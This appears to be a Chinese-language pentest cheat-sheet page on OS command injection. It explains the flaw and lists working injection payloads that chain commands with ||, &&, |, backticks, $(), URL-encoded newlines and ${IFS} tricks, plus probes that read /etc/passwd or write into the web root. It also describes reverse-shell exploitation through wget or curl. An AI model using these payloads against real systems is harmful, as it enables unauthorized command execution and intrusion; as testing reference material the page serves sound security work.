跳到主要内容

命令注入

漏洞介绍

命令注入(Command Injection)是指攻击者把任意操作系统命令或命令片段注入到程序中,使得程序在服务器/宿主上执行这些未授权命令的漏洞。

基本原理

应用把用户输入拼接到操作系统命令、shell 脚本或外部工具调用里。如果拼接未经严格限制或转义,攻击者可以构造包含 shell 元字符(如 ;, &&, |, $(...), ... 等)或文件/参数替换的输入,让额外命令被执行或改变程序行为。

检测方法

通过给参数传递以下这些命令用法来观察是否能够得到一些回应信息。

#Unix 和 Windows 均支持的用法
ls||id; ls ||id; ls|| id; ls || id # ls 成功则 id 不执行
ls|id; ls |id; ls| id; ls | id # 实测只有 id 被执行
ls&&id; ls &&id; ls&& id; ls && id # ls 成功则 id 被执行
ls&id; ls &id; ls& id; ls & id # ls 和 id 均会被执行,但只能看到 id 的输出
ls %0A id # %0A 代表换行符,意味着 ls 和 id 均会被执行 (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # %09 代表 TAB 符,表示先执行 ls,再以 bash -c "id" 的方式执行 id。

#只有 Unix 支持
`ls` # ``
$(ls) # $()
ls; id # ;
ls${LS_COLORS:10:1}${IFS}id # ${LS_COLORS:10:1}${IFS} 等价于 ; 。注意是封号和空格。

#以下用法虽然不会执行指定的命令,但也是有意思的用法
> /var/www/html/out.txt #尝试将输出重定向到 Web 端
< /etc/passwd #尝试发送文件到输入端

利用方法

方法 1:将构造好的 Bash 或 Python 类型的反向 shell,直接传递到 HTTP 请求的参数中去执行。【注:由于构造的反向 shell 命令中存在的特殊符号较多,因此此法可能不太容易成功。】

方法 2:将构造好的反向 shell 制作成一个在线脚本,然后将一些 wget 或 curl 的命令传递到 HTTP 请求的参数中以 落地或不落地的方式执行。

方法 3:借助工具 commix 去自动化检测及利用。

杂七杂八

  1. 参考文章:HackTricks
  2. 模糊测试列表:Auto_Wordlists
  3. Windows 命令混淆工具:https://argfuscator.net/、[ArgFuscator.net](https://github.com/wietze/ArgFuscator.net)